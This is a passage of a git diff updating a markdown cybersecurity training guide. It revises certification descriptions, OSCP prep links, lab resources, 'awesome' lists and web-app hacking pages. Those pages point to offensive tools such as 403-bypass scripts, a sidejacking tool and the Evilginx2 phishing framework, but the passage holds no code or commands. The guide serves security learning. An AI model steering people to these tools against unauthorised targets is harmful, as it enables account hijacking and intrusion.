attacks, Performing forensics investigations to collect and analyse digital evidence, Using a SIEM platform to investigate malicious activity, Log and network traffic analysis including malware infections, Conducting threat actor research, and much more! - * [Course Syllabus](https://securityblue.team/btl2/) + * [Course Syllabus](https://securityblue.team/why-btl1/) * [Blue Team Level 2](https://securityblue.team/btl2/) - BLT2 is the next step for security training from the Security Blue Team. This certification course will teach how to: Identify, analyze, prioritize, and remediate vulnerabilities to effectively reduce risk, Conduct static and dynamic malware analysis to gather indicators of compromise and document details of the malware’s purpose and utilized techniques, Writing SIEM detection rules and tuning them to ensure they’re as efficient as possible by conducting adversary emulation activities, and Perform threat hunts to detect adversaries that have already breached the perimeter. * [Course Syllabus](https://securityblue.team/download/60210/) * [Offensive Security Defense Analyst: OSDA](https://www.offensive-security.com/soc200-osda/) - Learn the foundations of cybersecurity defense with Offensive Security’s new Security Operations and Defensive Analysis (SOC-200) course designed for job roles such as Security Operations Center (SOC) Junior Analysts and Threat Hunters. @@ -115,7 +115,7 @@ ### DFIR: Digital Forensics and Incident Response * [EC Council Certified Hacking Forensics Investigator (CHFI)](https://www.eccouncil.org/programs/computer-hacking-forensic-investigator-chfi/) - CHFI provides its attendees with a firm grasp of digital forensics, presenting a detailed and methodological approach to digital forensics and evidence analysis that also pivots around Dark Web, IoT, and Cloud Forensics. The tools and techniques covered in this program will prepare the learner for conducting digital investigations using ground-breaking digital forensics technologies. -* [EC Council Certifid Incident Handler (CIH)](https://www.eccouncil.org/programs/ec-council-certified-incident-handler-ecih/) - A comprehensive specialist-level program that imparts knowledge and skills that organizations need to effectively handle post breach consequences by reducing the impact of the incident, from both a financial and a reputational perspective. +* [EC Council Certified Incident Handler (ECIH)](https://www.eccouncil.org/programs/ec-council-certified-incident-handler-ecih/) - A comprehensive specialist-level program that imparts knowledge and skills that organizations need to effectively handle post-breach consequences by reducing the impact of the incident, from both a financial and a reputational perspective. * [GIAC Certified Incident Handler (GCIH)](https://www.giac.org/certifications/certified-incident-handler-gcih/) - The GIAC Incident Handler certification validates a practitioner's ability to detect, respond, and resolve computer security incidents using a wide range of essential security skills. GCIH certification holders have the knowledge needed to manage security incidents by understanding common attack techniques, vectors and tools, as well as defend against and respond to such attacks when they occur. * [GIAC Certified Forensic Examiner (GCFE)](https://www.giac.org/certifications/certified-forensic-examiner-gcfe/) - The GIAC Certified Forensic Examiner (GCFE) certification validates a practitioner’s knowledge of computer forensic analysis, with an emphasis on core skills required to collect and analyze data from Windows computer systems. GCFE certification holders have the knowledge, skills, and ability to conduct typical incident investigations including e-Discovery, forensic analysis and reporting, evidence acquisition, browser forensics and tracing user and application activities on Windows systems. * [GIAC Battlefield Forensics and Acquisition (GBFA)](https://www.giac.org/certifications/battlefield-forensics-acquisition-gbfa/) - The GBFA certification demonstrates that an individual is trained and qualified in the proper collection, acquisition, and rapid triage analysis of many forms of data storage. @@ -149,8 +149,8 @@ * [EC Council Certified Penetration Testing Professional (CPENT)](https://www.eccouncil.org/programs/certified-penetration-testing-professional-cpent/) - This program teaches you how to perform an effective penetration test in an enterprise network environment that must be attacked, exploited, evaded, and defended. The heart of the CPENT program is all about helping you master your pen testing skills by putting them to use on our live cyber ranges. * [EC Council Licensed Penetration Tester (LPT) ](https://www.eccouncil.org/programs/licensed-penetration-tester-lpt-master/)- The course is designed to show advanced concepts like advanced windows attacks, attacking IoT systems, and writing exploits with advanced binary exploitation to go beyond flat networks. You will learn to bypass a filtered network, pentest OT systems, access hidden networks with pivoting, double pivot, escalate privilege, and evade defense mechanisms. * [GIAC Penetration Tester (GPEN)](https://www.giac.org/certifications/penetration-tester-gpen/) - The GIAC Penetration Tester certification validates a practitioner's ability to properly conduct a penetration test, using best practice techniques and methodologies. GPEN certification holders have the knowledge and skills to conduct exploits and engage in detailed reconnaissance, as well as utilize a process-oriented approach to penetration testing projects. -* [GIAC Exploit Researcher and Advanced Penetration Tester (GXPN)](https://www.giac.org/certifications/exploit-researcher-advanced-penetration-tester-gxpn/)[ - ](https://www.giac.org/certifications/exploit-researcher-advanced-penetration-tester-gxpn)The GIAC Exploit Researcher and Advanced Penetration Tester certification validates a practitioner's ability to find and mitigate significant security flaws in systems and networks. GXPN certification holders have the skills to conduct advanced penetration tests and model the behavior of attackers to improve system security, and the knowledge to demonstrate the business risk associated with these behaviors. -* [Offensive Security Certified Professinal (OSCP](https://www.offensive-security.com/pwk-oscp/)) +* [GIAC Exploit Researcher and Advanced Penetration Tester (GXPN)](https://www.giac.org/certifications/exploit-researcher-advanced-penetration-tester-gxpn/) - The GIAC Exploit Researcher and Advanced Penetration Tester certification validates a practitioner's ability to find and mitigate significant security flaws in systems and networks. GXPN certification holders have the skills to conduct advanced penetration tests and model attacker behavior to improve system security. +* [Offensive Security Certified Professional (OSCP)](https://www.offsec.com/courses/pen-200/) {% content-ref url="oscp.md" %} [oscp.md](oscp.md) diff --git a/training/cyber-security-certifications/oscp.md b/training/cyber-security-certifications/oscp.md index 02a73eb..816c4fe 100644 --- a/training/cyber-security-certifications/oscp.md +++ b/training/cyber-security-certifications/oscp.md @@ -4,17 +4,18 @@ description: Am I leet yet? # OSCP -The OSCP has become the big cert goal for all aspiring hackers. Beyond being filled with content, it is a practical exam, which means no multiple choice. You will be dropped into a network where you have to compromise 5 boxes, one of which will require a buffer overflow attack to compromise. The big kicker is that you cannot use any auto exploitation tools, and you can only use Metasploit once. +The OSCP has become a major certification goal for aspiring penetration testers. It is a practical exam, so always read the current OffSec exam guide before planning your prep: box counts, point values, bonus points, tooling restrictions, and buffer-overflow expectations have changed over time. ## **Official Documentation** As always, read the documentation. There are tons of helpful hints and suggestions in the official docs. It also clearly defines the rules of engagement for the exam. Do not use a tool that will invalidate your exam. They give you everything you need in the official course material, use it and stay within bounds. -* [https://www.offensive-security.com/offsec/oscp-exam-structure/](https://www.offensive-security.com/offsec/oscp-exam-structure/) -* [https://www.offensive-security.com/metasploit-unleashed/](https://www.offensive-security.com/metasploit-unleashed/) +* [https://www.offsec.com/courses/pen-200/](https://www.offsec.com/courses/pen-200/) +* [https://www.offsec.com/offsec/oscp-exam-structure/](https://www.offsec.com/offsec/oscp-exam-structure/) +* [https://www.offsec.com/metasploit-unleashed/](https://www.offsec.com/metasploit-unleashed/) * [https://help.offensive-security.com/hc/en-us](https://help.offensive-security.com/hc/en-us) * [https://help.offensive-security.com/hc/en-us/articles/360050473812](https://help.offensive-security.com/hc/en-us/articles/360050473812) -* [https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf](https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf) +* [https://www.offsec.com/documentation/penetration-testing-with-kali.pdf](https://www.offsec.com/documentation/penetration-testing-with-kali.pdf) * [https://forums.offensive-security.com/](https://forums.offensive-security.com/) ## **Tools and Resources** @@ -73,8 +74,7 @@ There are plenty of write ups and training classes out there for the OSCP but th These are boxes that are similar to those that you will find on the exam. They will be focusing around certain tasks like buffer overflow, or exploiting a certain service. Beware that some of them are retired HTB boxes that will require a subscription to get access to. * TJNull's List - [https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159](https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159) -* HackTheBox List -[https://docs.google.com/spreadsheets/d/1PVH3athOru-rHirsy30R1r8692R6J44W7uuHTrquqnk/edit#gid=1638926857](https://docs.google.com/spreadsheets/d/1PVH3athOru-rHirsy30R1r8692R6J44W7uuHTrquqnk/edit#gid=1638926857)[https://hyd3.home.blog/2020/06/22/oscp-prep-hackthebox-list/](https://hyd3.home.blog/2020/06/22/oscp-prep-hackthebox-list/) +* HackTheBox List - [spreadsheet](https://docs.google.com/spreadsheets/d/1PVH3athOru-rHirsy30R1r8692R6J44W7uuHTrquqnk/edit#gid=1638926857) + * [Hyd3 OSCP prep HTB list](https://hyd3.home.blog/2020/06/22/oscp-prep-hackthebox-list/) * NoobSec List - [https://docs.google.com/spreadsheets/d/1PVH3athOru-rHirsy30R1r8692R6J44W7uuHTrquqnk/edit#gid=1638926857](https://docs.google.com/spreadsheets/d/1PVH3athOru-rHirsy30R1r8692R6J44W7uuHTrquqnk/edit#gid=1638926857) -* OSCP-like Boxes -[https://nopresearcher.github.io/OSCP-Like-Boxes/](https://nopresearcher.github.io/OSCP-Like-Boxes/) - -**** +* OSCP-like Boxes - [https://nopresearcher.github.io/OSCP-Like-Boxes/](https://nopresearcher.github.io/OSCP-Like-Boxes/) diff --git a/training/practice-lab.md b/training/practice-lab.md index 3e92ff4..959c04b 100644 --- a/training/practice-lab.md +++ b/training/practice-lab.md @@ -17,7 +17,7 @@ 3. [https://sethsec.blogspot.com/2017/05/pentest-home-lab-0x1-building-your-ad.html](https://sethsec.blogspot.com/2017/05/pentest-home-lab-0x1-building-your-ad.html) 4. [https://www.fatrodzianko.com/2019/08/05/creating-an-active-directory-lab-in-aws/](https://www.fatrodzianko.com/2019/08/05/creating-an-active-directory-lab-in-aws/) 5. [Conda's AD Lab Video](https://www.youtube.com/watch?v=Bm3mihQNGI4\&list=PLDrNMcTNhhYqZj7WZt2GfNhBDqBnhW6AT\&index=2) -6. [https://blog.spookysec.net//ad-lab-2/](https://blog.spookysec.net/ad-lab-2/) - Building your own AD Lab: Part 2 (2022) +6. [https://blog.spookysec.net/ad-lab-2/](https://blog.spookysec.net/ad-lab-2/) - Building your own AD Lab: Part 2 (2022) ## Blue Team Lab Tools @@ -33,7 +33,7 @@ * [PowerShellClassLab](https://github.com/jaredhaight/PowerShellClassLab) - This is a set of Azure Resource Manager Templates that generates an Active Directory lab consisting of a Domain Controller, two Windows servers and a Linux server. * [SysmonSimulator](https://github.com/ScarredMonk/SysmonSimulator) - Sysmon event simulation utility which can be used to simulate the attacks to generate the Sysmon Event logs for testing the EDR detections and correlation rules by Blue teams. * [https://www.microsoft.com/en-us/evalcenter/evaluate-lab-kit](https://www.microsoft.com/en-us/evalcenter/evaluate-lab-kit) - The Windows 10 and Office 365 Deployment Lab Kit is designed to help you plan, test, and validate modern desktops running Windows 10 Enterprise and Microsoft 365 Enterprise apps, managed by Enterprise Mobility + Security. The lab kit is free to download and uses evaluation software. - * [https://docs.microsoft.com/en-us/microsoft-365/enterprise/modern-desktop-deployment-and-management-lab?view=o365-worldwide](https://docs.microsoft.com/en-us/microsoft-365/enterprise/modern-desktop-deployment-and-management-lab?view=o365-worldwide) + * [https://learn.microsoft.com/en-us/microsoft-365/enterprise/modern-desktop-deployment-and-management-lab?view=o365-worldwide](https://learn.microsoft.com/en-us/microsoft-365/enterprise/modern-desktop-deployment-and-management-lab?view=o365-worldwide) ## Practice diff --git a/training/the-awesome-lists.md b/training/the-awesome-lists.md index c593177..f5091c8 100644 --- a/training/the-awesome-lists.md +++ b/training/the-awesome-lists.md @@ -1,11 +1,11 @@ # The Awesome Lists -The Awesome Lists are multiple collections various folks have made that try to condense some of the best resources for various cyber topics, all onto one list. These are great for finding out new tools to add to your arsenal, or techniques to add to your repertoire. You can use [awesome · GitHub Topics · GitHub](https://github.com/topics/awesome) and [Awesome Indexed - Searchable Awesome Lists](https://awesome-indexed.mathew-davies.co.uk/) to search for what ever content you want that might be found in the awesome lists. \ +The Awesome Lists are collections people have made to condense strong resources for specific topics into one list. They are great for discovering tools, techniques, and reading paths. You can use [awesome · GitHub Topics · GitHub](https://github.com/topics/awesome) and [Awesome Indexed - Searchable Awesome Lists](https://awesome-indexed.mathew-davies.co.uk/) to search across many of them. \ For those who love the command line, [https://github.com/chubin/cheat.sh](https://github.com/chubin/cheat.sh) is amazing for doing something similar, right in your bash shell. -\*Note\* The below list is NOT comprehensive. These are cherry picked for what has been found to be relevant for security practicioners. +*Note:* The list below is not comprehensive. These are cherry-picked for security practitioners. -General - These are general collections of security related resources that some awesome folks have gathered from across the internet. The first one by Sindresorhus has been come the basis for the above search tool. +General - These are broad collections of security-related resources. * [Awesome Search](https://awesomelists.top/) [GitHub - sindresorhus/awesome: 😎 Awesome lists about all kinds of interesting topics](https://github.com/sindresorhus/awesome) * [GitHub - bayandin/awesome-awesomeness: A curated list of awesome awesomeness](https://github.com/bayandin/awesome-awesomeness) @@ -75,15 +75,16 @@ Coding * [GitHub - secfigo/Awesome-Fuzzing: A curated list of fuzzing resources ( Books, courses - free and paid, videos, tools, tutorials and vulnerable applications to practice on ) for learning Fuzzing and initial phases of Exploit Development like root cause analysis.](https://github.com/secfigo/Awesome-Fuzzing) * [GitHub - vinta/awesome-python: A curated list of awesome Python frameworks, libraries, software and resources](https://github.com/vinta/awesome-python) * [GitHub - ziadoz/awesome-php: A curated list of amazingly awesome PHP libraries, resources and shiny things.](https://github.com/ziadoz/awesome-php) -* [GitHub - sorrycc/awesome-javascript: 🐢 A collection of awesome browser-side JavaScript libraries, resources and shiny things.](https://github.com/sorrycc/awesome-javascript#readme) -* [GitHub - matteocrippa/awesome-swift: A collaborative list of awesome Swift libraries and resources. Feel free to contribute!](https://github.com/matteocrippa/awesome-swift#readme) -* [GitHub - avelino/awesome-go: A curated list of awesome Go frameworks, libraries and software](https://github.com/avelino/awesome-go#readme) +* [GitHub - sorrycc/awesome-javascript: A collection of browser-side JavaScript libraries, resources, and shiny things.](https://github.com/sorrycc/awesome-javascript#readme) +* [GitHub - matteocrippa/awesome-swift: A collaborative list of Swift libraries and resources.](https://github.com/matteocrippa/awesome-swift#readme) +* [GitHub - avelino/awesome-go: A curated list of Go frameworks, libraries, and software](https://github.com/avelino/awesome-go#readme) * [GitHub - inputsh/awesome-c: Continuing the development of awesome-c list on GitHub](https://github.com/inputsh/awesome-c#readme) -* [GitHub - fffaraz/awesome-cpp: A curated list of awesome C++ (or C) frameworks, libraries, resources, and shiny things. Inspired by awesome-... stuff.](https://github.com/fffaraz/awesome-cpp#readme) -* [GitHub - hachiojipm/awesome-perl: A curated list of awesome Perl frameworks and libraries. Come on Pull Requests!](https://github.com/hachiojipm/awesome-perl#readme) -* [GitHub - akullpp/awesome-java: A curated list of awesome frameworks, libraries and software for the Java programming language.](https://github.com/akullpp/awesome-java#readme) -* [GitHub - diegocard/awesome-html5: A curated list of awesome HTML5 resources](https://github.com/diegocard/awesome-html5#readme) -* [GitHub - awesome-css-group/awesome-css: A curated contents of amazing CSS :)](https://github.com/awesome-css-group/awesome-css#readme) [GitHub - InQuest/awesome-yara: A curated list of awesome YARA rules, tools, and people.](https://github.com/InQuest/awesome-yara) +* [GitHub - fffaraz/awesome-cpp: A curated list of C/C++ frameworks, libraries, resources, and shiny things.](https://github.com/fffaraz/awesome-cpp#readme) +* [GitHub - hachiojipm/awesome-perl: A curated list of Perl frameworks and libraries.](https://github.com/hachiojipm/awesome-perl#readme) +* [GitHub - akullpp/awesome-java: A curated list of Java frameworks, libraries, and software.](https://github.com/akullpp/awesome-java#readme) +* [GitHub - diegocard/awesome-html5: A curated list of HTML5 resources](https://github.com/diegocard/awesome-html5#readme) +* [GitHub - awesome-css-group/awesome-css: Curated CSS resources](https://github.com/awesome-css-group/awesome-css#readme) +* [GitHub - InQuest/awesome-yara: A curated list of YARA rules, tools, and people.](https://github.com/InQuest/awesome-yara) * [https://github.com/beucismis/awesome-fetch](https://github.com/beucismis/awesome-fetch) Malware and Malware Analysis @@ -91,7 +92,7 @@ Malware and Malware Analysis * [GitHub - fabacab/awesome-malware: A curated collection of awesome malware, botnets, and other post-exploitation tools.](https://github.com/fabacab/awesome-malware) * [GitHub - milabs/awesome-linux-rootkits: awesome-linux-rootkits](https://github.com/milabs/awesome-linux-rootkits) * [GitHub - cugu/awesome-forensics: A curated list of awesome forensic analysis tools and resources](https://github.com/Cugu/awesome-forensics) -* [GitHub - rshipp/awesome-malware-analysis: Defund the Police.](https://github.com/rshipp/awesome-malware-analysis) +* [GitHub - rshipp/awesome-malware-analysis: Defund the Police.](https://github.com/rshipp/awesome-malware-analysis) - Also listed in DFIR because malware analysis spans both areas. CTF diff --git a/web-app-hacking/README.md b/web-app-hacking/README.md index c4aa991..531fd92 100644 --- a/web-app-hacking/README.md +++ b/web-app-hacking/README.md @@ -1,5 +1,11 @@ +--- +description: Web application hacking resources for OWASP testing, Burp Suite, bug bounty methodology, APIs, OAuth, SQL injection, XSS, WAFs, and web vulnerabilities. +--- + # Web App Hacking +Web App Hacking covers methodology, web technologies, web-specific tooling, and application vulnerabilities. Keep general host/port scanning in Red Recon, passive OSINT in Cyber Intelligence, and courses or vulnerable apps in Training. + ## **Web App Testing Resources** {% tabs %} @@ -7,6 +13,8 @@ * [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) - Comprehensive guide to testing the security of web applications and web services created by the OWASP foundation. * [OWASP Top Ten](https://owasp.org/www-project-top-ten/) - Guide to the top ten most common vulnerabilities encountered in web app pentesting. * [OWASP API Security Top 10](https://owasp.org/API_Security) - Focuses on the top ten vulnerabilities in API security. + * [OWASP Cryptographic Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html) - Guidance for protecting stored secrets and sensitive data. + * [OWASP Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html) - Guidance for access control and authorization design. * [CREST OVS Programme](https://www.crest-approved.org/membership/crest-ovs-programme/) - CREST's new application security standard built with OWASP ASVS. * [Hacktricks Web Pentesting Guide](https://book.hacktricks.xyz/pentesting/pentesting-web) - Written by Carlos Polop, the creator of [WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) and [LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). Highly recommended resource for creative techniques and tricks. * [The Bug Hunters Methodology](https://github.com/jhaddix/tbhm) - Written by Jason Haddix, this repo details his toolset and methodology for web app penetration testing. @@ -75,8 +83,8 @@ There is a bug bounty focused search engine at [BugBountyHunting.com](https://ww {% tab title="Resources and Reference" %} * Methodology - * [https://github.com/Cyber-Guy1/theCyberGuy\_Recon\_V1.0](https://github.com/Cyber-Guy1/theCyberGuy\_Recon\_V1.0) - Great Methodology MindMap - * [https://labs.detectify.com/2021/11/30/hak_Recon_V1.0](https://github.com/Cyber-Guy1/theCyberGuy_Recon_V1.0) - A comprehensive methodology mindmap.ating-the-perfect-bug-bounty-automation/) + * [theCyberGuy Recon V1.0](https://github.com/Cyber-Guy1/theCyberGuy_Recon_V1.0) - Bug bounty methodology mind map. + * [Creating the perfect bug bounty automation](https://labs.detectify.com/2021/11/30/hakluke-creating-the-perfect-bug-bounty-automation/) - Detectify/Hakluke automation writeup. * Resource collections * [awesome-bug-bounty](https://github.com/djadmin/awesome-bug-bounty) - is a comprehensive curated list of available Bug Bounty. * [Firebounty](https://firebounty.com) — Bug bounty search engine @@ -87,9 +95,9 @@ There is a bug bounty focused search engine at [BugBountyHunting.com](https://ww * [https://honoki.net/2020/10/08/introducing-bbrf-yet-another-bug-bounty-reconnaissance-framework/](https://honoki.net/2020/10/08/introducing-bbrf-yet-another-bug-bounty-reconnaissance-framework/) * Write-ups and Scopes * [Awesome-Bugbounty-Writeups](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups) - is a curated list of bugbounty writeups. - * ****[**bounty-targets-data**](https://github.com/arkadiyt/bounty-targets-data) **-** This repo contains hourly-updated data dumps of bug bounty platform scopes (like Hackerone/Bugcrowd/Intigriti/etc) that are eligible for reports + * [bounty-targets-data](https://github.com/arkadiyt/bounty-targets-data) - Hourly-updated data dumps of in-scope bug bounty targets from HackerOne, Bugcrowd, Intigriti, and others. * [bug-bounty-reference](https://github.com/ngalongc/bug-bounty-reference) - is a list of bug bounty write-ups. - * [Bug bounty writeups](https://pentester.land/list-of-bug-bounty-writeups.html) - list of bug bounty writeups (2012-2020). + * [Bug bounty writeups](https://pentester.land/list-of-bug-bounty-writeups.html) - Historical bug bounty writeup index from 2012-2020. {% endtab %} {% endtabs %} @@ -109,12 +117,7 @@ There is a bug bounty focused search engine at [BugBountyHunting.com](https://ww ## **Training and Resources** -**For resources including offensive security courses, books, CTFs and much more, please check out the Training and Resources section of this guide.** - -* [PortSwigger Web Security Academy](https://portswigger.net/web-security) - Free, interactive training labs from the creators of Burp Suite. Contains learning materials and labs on a wide range of web vulnerabilities. -* [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/) - Probably the most modern and sophisticated insecure web application for security trainings. -* [TryHackMe - Intro to Web Hacking](https://tryhackme.com/module/intro-to-web-hacking) -* [crAPI](https://github.com/OWASP/crAPI) - **c**ompletely **r**idiculous **API** (crAPI) will help you to understand the ten most critical API security risks. crAPI is vulnerable by design, but you'll be able to safely run it to educate/train yourself. +Courses, books, CTFs, and vulnerable training apps are maintained in Training. {% content-ref url="../training/" %} [training](../training/) diff --git a/web-app-hacking/attacks-and-vulnerabilities/README.md b/web-app-hacking/attacks-and-vulnerabilities/README.md index fd01f15..1c23307 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/README.md +++ b/web-app-hacking/attacks-and-vulnerabilities/README.md @@ -1,6 +1,8 @@ # Web App Vulnerabilities -## Broke**n Authentication** +This page is the hub for common web application vulnerability classes. Detailed pages are linked where they already exist; shorter entries stay inline until they grow enough to deserve their own page. + +## Broken Authentication {% content-ref url="broken-authentication.md" %} [broken-authentication.md](broken-authentication.md) @@ -36,8 +38,6 @@ * [https://systemweakness.com/give-me-a-browser-ill-give-you-a-shell-de19811defa0?gi=a6af0aee993e](https://systemweakness.com/give-me-a-browser-ill-give-you-a-shell-de19811defa0?gi=a6af0aee993e) * _Advanced Penetration Testing: Browser Pivoting - pg. 23_ -__ -
## Business logic flaws @@ -56,7 +56,7 @@ __ * [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20304.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20304.md) * [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20Captcha.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20Captcha.md) * [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20Rate%20Limit.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20Rate%20Limit.md) -* [byp4xx](https://github.com/lobuhi/byp4xx) - Pyhhton script for HTTP 40X responses bypassing. Features: Verb tampering, headers, #bugbountytips tricks and 2454 User-Agents. +* [byp4xx](https://github.com/lobuhi/byp4xx) - Python script for HTTP 40X response bypass testing. Features include verb tampering, header tricks, and user-agent rotation. * [403bypasser](https://github.com/yunemse48/403bypasser) - automates the techniques used to circumvent access control restrictions on target pages. * [bypass-403](https://github.com/iamj0ker/bypass-403) - A simple script just made for self use for bypassing 403 @@ -78,10 +78,10 @@ __
-CORS MIsconfig +CORS Misconfig * [Corsy](https://github.com/s0md3v/Corsy) - CORS Misconfiguration Scanner -* [CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration vulnerabilities scanner🍻 +* [CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration scanner. * [CORStest](https://github.com/RUB-NDS/CORStest) - A simple CORS misconfiguration scanner * [CorsMe](https://github.com/Shivangx01b/CorsMe) - Cross Origin Resource Sharing MisConfiguration Scanner * [of-CORS](https://github.com/trufflesecurity/of-CORS) - [Truffle Security's](https://trufflesecurity.com/) tool suite for identifying and exploiting CORS misconfigurations on the internal networks of bug bounty targets using typosquatting. @@ -110,7 +110,7 @@ __ [csrf.md](csrf.md) {% endcontent-ref %} -## **Carriage Return and Line Feed Injection** +## **Carriage Return and Line Feed (CRLF) Injection**
@@ -132,7 +132,7 @@ __ * [http://georgemauer.net/2017/10/07/csv-injection.html](http://georgemauer.net/2017/10/07/csv-injection.html) -## Dependancy Confusion +## Dependency Confusion * [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) @@ -142,7 +142,7 @@ __ [deserialization.md](deserialization.md) {% endcontent-ref %} -## **Directory Transversal** +## **Directory Traversal** Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files. @@ -185,7 +185,7 @@ Directory traversal (also known as file path traversal) is a web security vulner ## **File Inclusion Vulnerabilities** -File inclusion vulnerabilities allow an attacker to include a file into the applications running code. **** In order to actually exploit a file inclusion vulnerability, we must be able to not only execute code, but also to write our shell payload somewhere. +File inclusion vulnerabilities allow an attacker to include a file into the application's running code. In order to actually exploit a file inclusion vulnerability, we must be able to not only execute code, but also to write our shell payload somewhere. {% tabs %} {% tab title="Identification" %} @@ -208,13 +208,13 @@ File inclusion vulnerabilities allow an attacker to include a file into the appl {% tab title="Reference" %} * [LFI CheatSheet](https://highon.coffee/blog/lfi-cheat-sheet/) -* [File Inclusion Vulnerability Guide ](https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/) +* [File Inclusion Vulnerability Guide](https://www.offsec.com/metasploit-unleashed/file-inclusion-vulnerabilities/) * [https://xapax.github.io/security/#attacking\_web\_applications/local\_file\_inclusion/](https://xapax.github.io/security/#attacking\_web\_applications/local\_file\_inclusion/) * [https://xapax.github.io/security/#attacking\_web\_applications/remote\_file\_inclusion/](https://xapax.github.io/security/#attacking\_web\_applications/remote\_file\_inclusion/) * [https://pentestbook.six2dez.com/enumeration/web/lfi-rfi](https://pentestbook.six2dez.com/enumeration/web/lfi-rfi) * [Comprehensive Guide on Local File Inclusion (LFI)](https://www.hackingarticles.in/comprehensive-guide-to-local-file-inclusion/) * [Comprehensive Guide to Remote File Inclusion (RFI)](https://www.hackingarticles.in/comprehensive-guide-to-remote-file-inclusion-rfi/) -* [https://tryhackme.com/room/lfibasics](https://tryhackme.com/room/lfibasics) +* [TryHackMe LFI Basics](https://tryhackme.com/room/lfibasics) - Training resource; canonical training links are maintained in Training. {% endtab %} {% endtabs %} @@ -307,15 +307,15 @@ File inclusion vulnerabilities allow an attacker to include a file into the appl ## Security Misconfigurations Security misconfigurations include:\ -• Poorly configured permissions on cloud services, like S3 buckets\ -• Having unnecessary features enabled, like services, pages, accounts or privileges\ -• Default accounts with unchanged passwords\ -• Error messages that are overly detailed and allow an attacker to find out more about the system\ -• Not using [HTTP security headers](https://owasp.org/www-project-secure-headers/), or revealing too much detail in the Server: HTTP header +* Poorly configured permissions on cloud services, like S3 buckets. +* Unnecessary features enabled, like services, pages, accounts, or privileges. +* Default accounts with unchanged passwords. +* Error messages that are overly detailed and expose system information. +* Missing [HTTP security headers](https://owasp.org/www-project-secure-headers/) or overly detailed `Server` headers. ## Sidejacking -* [hamster-sidejack](https://www.kali.org/tools/hamster-sidejack/) - Hamster is tool or “sidejacking”. It acts as a proxy server that replaces your cookies with session cookies stolen from somebody else, allowing you to hijack their sessions. +* [hamster-sidejack](https://www.kali.org/tools/hamster-sidejack/) - Legacy sidejacking tool. Kept as historical context; modern session protections and HTTPS make the original workflow much less broadly applicable. ## **SQL Injection** @@ -350,17 +350,15 @@ Security misconfigurations include:\ * [TPLmap](https://github.com/epinna/tplmap) - Server-Side Template Injection and Code Injection Detection and Exploitation Tool * [https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf) * [https://akenofu.gitbook.io/hackallthethings/web-applications/attacks/ssti](https://akenofu.gitbook.io/hackallthethings/web-applications/attacks/ssti) -* [https://owasp.org/www-community/attacks/Server\_Side\_Request\_Forgery](https://owasp.org/www-community/attacks/Server\_Side\_Request\_Forgery) +* [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection) * [https://github.com/ambionics/symfony-exploits](https://github.com/ambionics/symfony-exploits) * [https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34](https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34) -* [https://tryhackme.com/room/learnssti](https://tryhackme.com/room/learnssti) +* [TryHackMe SSTI](https://tryhackme.com/room/learnssti) - Training resource; canonical training links are maintained in Training. * _Template Injection - Bug Bounty Hunting Essentials, pg.189_ *
-__ -
## X-Path Injection @@ -376,7 +374,7 @@ __ ## **Web Man-In-The-Middle** -* [Evilginx2](https://github.com/kgretzky/evilginx2) - Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication +* [Evilginx2](https://github.com/kgretzky/evilginx2) - Standalone web phishing/MITM framework used to capture credentials and session cookies. This belongs primarily with social engineering and MITM workflows, not routine web-app testing. * [MITM Proxy](https://mitmproxy.org/) - Mitmproxy is your swiss-army knife for debugging, testing, privacy measurements, and penetration testing. It can be used to intercept, inspect, modify and replay web traffic such as HTTP/1, HTTP/2, WebSockets, or any other SSL/TLS-protected protocols. ## **Web Sockets** diff --git a/web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md b/web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md index 7f0bd9d..8d8bdf6 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md +++ b/web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md @@ -33,7 +33,7 @@ * Brute forcing passwords * Username Enumeration * Observe changes in the websites behavior depending on input - * Notice changes in Status Codes, Error Messages, and [Response times](https://app.gitbook.com/s/-MQCNQTNhvnXD58Vo8Mf/web-app-hacking/Web\_Applications--Attack\_types--OWASP\_2\_-\_Broken\_Auth\_Attacks--Vuls\_in\_password-based\_login--Username\_enumeration\_via\_different\_responses.html) + * Notice changes in status codes, error messages, and [response 